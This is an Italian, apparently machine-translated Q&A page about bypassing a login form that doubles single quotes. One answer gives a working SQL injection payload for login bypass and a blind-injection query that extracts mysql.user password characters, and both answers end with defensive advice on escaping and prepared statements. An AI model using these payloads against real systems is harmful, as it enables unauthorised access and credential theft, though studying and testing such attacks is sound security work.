Rompendo il nome utente e la password di mysql [chiuso]

1

Ho due versioni di un sito web. Il primo non ha precauzioni di sicurezza contro le iniezioni di sql. Quindi se provo qualcosa del tipo:

Username: hello_world
Password: ' or ' 1=1

Sarò registrato come utente hello_world .

La seconda versione del sito Web sfugge alle virgolette singole a due virgolette singole. Quindi il primo attacco che ho usato nella prima versione non funziona. Quando riesco ad accedere con successo alla prima versione, ricevo una risposta che dice:

username = hello_world & password = %27%20or%20%27%201%3D1

Quindi tutti i caratteri speciali vengono sostituiti dal loro valore esadecimale. Quando provo qualcosa del genere:

Username = hello_world
Password = %27%20or%20%27%201%3D1

Nella seconda versione del sito, non funziona (perché % viene cambiato nel suo valore esadecimale).

C'è un modo per accedere come utente hello_world ?

NOTA: in effetti, ho il permesso di eseguire test su questo sito.

    
posta Bob John 09.02.2015 - 03:02
fonte

2 risposte

3

The second version of the website escapes single quotes to two single quotes.

Is there a way I can log in as the user hello_world?

Sì, perché questo tipo di protezione non è affatto sicuro (anche io non chiamerei escape).

Attacco

Immagina un attacco del genere:

Username: hello_world
Password: \' OR 1=1 #

Che verrebbe trasformato in:

Password: \'' OR 1=1 #

Che probabilmente assomiglia a questo in una query:

SELECT * FROM users WHERE username='hello_world' AND password='\'' OR 1=1 #'

Che viene quindi eseguito in questo modo, perché il commento ( # ) taglia il resto della query:

SELECT * FROM users WHERE username='hello_world' AND password='\'' OR 1=1 

Quindi controlla se la tua password è \' o se 1=1 (che fa) per autenticare l'utente hello_world .

Ulteriori danni

Nota anche che il bypass di login non è l'unico attacco che può essere fatto qui.

I dati possono anche essere recuperati tramite iniezione SQL cieca (true = logged in, false = non loggato):

SELECT * FROM users WHERE username='hello_world' AND password='\'' OR ascii(substring((SELECT password FROM mysql.user LIMIT 0,1),1,1))<100
[ etc. ]

È un attacco rumoroso su una pagina di accesso, ma potrebbe comunque causare seri danni.

Prevenzione

Il filtraggio è il peggior tipo di protezione contro le iniezioni SQL. L'escaping (es. Tramite mysqli_real_escape_string ) è migliore, e usare le istruzioni preparate è la cosa migliore (sono più difficili da rovinare che dall'esclusione).

    
risposta data 09.02.2015 - 12:52
fonte
0

Dipende dalla tua comprensione dei "personaggi speciali". Se filtri ogni personaggio che non è alfanumerico, potresti essere sicuro, ma non posso rispondere a un "sì" di sicuro.

In generale, non è una buona idea implementare i propri controlli di sicurezza per le query del database.
Invece, usa le funzioni built-in come mysql_real_escape_string () (se sei usando PHP per esempio).
Inoltre, dovresti utilizzare istruzioni preparate . Quelle sono query SQL con segnaposti per l'input dell'utente. Ciò garantisce che l'input dell'utente non venga interpretato come una parola chiave / funzione / separatore SQL.

    
risposta data 09.02.2015 - 08:43
fonte

Leggi altre domande sui tag